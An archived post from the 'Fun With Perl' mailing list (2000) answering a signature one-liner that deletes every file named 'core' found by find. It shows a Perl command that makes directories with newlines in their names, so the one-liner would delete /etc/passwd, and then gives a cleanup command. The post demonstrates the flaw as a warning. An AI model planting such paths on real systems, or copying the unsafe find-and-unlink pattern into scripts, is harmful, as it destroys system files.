[Date Prev][Date Next][Thread Prev][Thread Next]
[Search]
[Date Index]
[Thread Index]
Re: [FWP] Re: Neat or horrid?
- To: "fwp@technofile.org" <fwp@technofile.org>
- Subject: Re: [FWP] Re: Neat or horrid?
- From: Adam Rice <wysiwyg@glympton.airtime.co.uk>
- Date: Thu, 1 Jun 2000 18:27:46 +0100
- In-Reply-To: <39342600.28B5C1CF@kasey.umkc.edu>; from David L. Nicol on Tue, May 30, 2000 at 08:35:12PM +0000
- Mail-Followup-To: "fwp@technofile.org" <fwp@technofile.org>
- References: <Pine.SOL.3.96.1000528155339.13660B-100000@simpukka> <39342600.28B5C1CF@kasey.umkc.edu>
Quoting David L. Nicol (david@kasey.umkc.edu):
> --
> David Nicol 816.235.1187 nicold@umkc.edu
> find / -name core|perl -ne'chomp;unlink'
perl -e '$bad="/tmp/\n/etc/passwd\n/core"; foreach (split m[/], $bad) { mkdir($a.="/$_", 0755); }'
find /tmp -name core
/tmp/
/etc/passwd
/core
Be afraid. Be very afraid.
In the interests of not getting hundreds of irate emails, if you ran the
above, now run this:
perl -e '$bad="/tmp/\n/etc/passwd\n/core"; 1 while (rmdir($bad) && $bad =~ s[/[^/]+$][]);'
preferably before your nightly /tmp cleanup destroys your system. Not as
root though, or it might delete /tmp (slight bug there).
Anyone for golf?
--
Adam Rice -- wysiwyg@glympton.airtime.co.uk -- Blackburn, Lancashire, England
==== Want to unsubscribe from Fun With Perl? Well, if you insist...
==== Send email to <fwp-request@technofile.org> with message _body_
==== unsubscribe